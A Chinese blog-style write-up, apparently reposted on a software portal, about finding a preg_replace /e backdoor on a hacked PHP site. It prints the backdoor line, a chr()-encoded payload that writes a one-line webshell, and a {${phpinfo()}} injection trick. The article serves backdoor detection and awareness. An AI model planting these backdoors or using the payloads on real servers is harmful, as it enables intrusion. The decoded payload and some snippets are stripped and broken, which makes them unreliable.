一次发现利用preg_replace隐藏后门和后续探究
朋友的网站遭遇了黑客攻击,但令人困惑的是——用遍了市面上常见的后门扫描工具,竟然没有发现任何PHP木马。黑客手法极其老练,每次入侵后都会将后门清理得一干二净,可过不了多久又会再次入侵。到底是从哪里进来的?这个谜题让人百思不得其解。 直到翻看服务器日志,才找到蛛丝马迹:有一个IP地址总会莫名其妙地向某
朋友的网站遭遇了黑客攻击,但令人困惑的是——用遍了市面上常见的后门扫描工具,竟然没有发现任何PHP木马。黑客手法极其老练,每次入侵后都会将后门清理得一干二净,可过不了多久又会再次入侵。到底是从哪里进来的?这个谜题让人百思不得其解。
直到翻看服务器日志,才找到蛛丝马迹:有一个IP地址总会莫名其妙地向某个文件POST数据,过一会儿又去访问一个名称突兀的文件——一看就不是系统自带的,典型的PHP后门特征。但黑客用完即删,动作迅速。看来,遇到了一位谨慎的对手。
顺着日志继续深挖,发现他访问的文件里隐藏着这样一行代码:
@preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");
乍看之下,这行代码似乎没什么问题?但正是它,成为了黑客精心隐藏的后门入口。隐蔽性极高,几乎任何查杀软件都对其束手无策。
问题就出在preg_replace函数的/e修饰符上。这个修饰符有何特别之处?先看函数原型:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
官方文档特别说明:/e修正符使preg_replace()将replacement参数当作PHP代码执行(在完成适当的逆向引用替换之后)。换句话说,如果replacement参数中隐藏着恶意代码,它就会被直接执行。
上面那段代码是通过POST方式接收数据触发,测试起来稍显麻烦。如果换成GET方式提交呢?比如:
echo preg_replace("/test/e",$_GET["h"],"jutst test");
提交?h=phpinfo(),phpinfo()就会被执行——因为/e修饰符使得replacement参数被当作PHP代码执行。
如果我们要用POST方式,提交下面这串编码会是什么结果?
h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
这段密文对应的明文是:
fputs(fopen(data/a.php,w),);
执行的结果是在/data/目录下生成一个一句话木马文件a.php。细思极恐,对吧?
更隐蔽的操作还在后面。看这个例子:
function test($str)
{
}
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]);
?>
提交?h=phpinfo(),phpinfo()会被执行吗?肯定不会。因为经过正则匹配后,replacement参数变为'test("phpinfo")',此时phpinfo仅被当作一个字符串参数处理。
有没有办法让它执行呢?当然有。在这里如果提交?h={${phpinfo()}},phpinfo()就会被执行。为什么呢?
在PHP中,双引号里面如果包含有变量,PHP解释器会将其替换为变量解释后的结果;单引号中的变量则不会进行处理。注意:双引号中的函数不会被执行和替换。但这里通过{${}}构造出了一个特殊的变量——'test("{${phpinfo()}}")',达到了让函数被执行的效果(${phpinfo()}会被解释执行)。可以先做测试:
echo "{${phpinfo()}}";
phpinfo会被成功执行。因此,在排查后门时,千万别遗漏这类代码。
好了,绕了一大圈,回到最初那段代码:
@preg_replace("//e",$_POST['IN_COMSENZ'],"Access Denied");
看似人畜无害,实则暗藏杀机。这种隐藏手法极为隐蔽,希望这篇文章能帮助大家提高警惕。
游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。
同类文章
DDoS攻击的三大主要形式:原理、特征与防御重点
DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。
如何有效预防和缓解DDoS攻击:5大核心策略详解
面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。
DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析
许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。
常见DDoS攻击类型详解:原理、特征与防御策略
本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。
如何有效抵御DDOS攻击:4种核心防护方案解析
面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。
- 热门数据榜
相关攻略
2026-08-31 11:56
2026-08-31 11:56
2026-08-31 11:55
2026-08-31 11:55
2026-08-31 11:54
2026-08-31 11:53
2026-08-31 11:53
2026-08-31 11:53
热门教程
- 游戏攻略
- 安卓教程
- 苹果教程
- 电脑教程

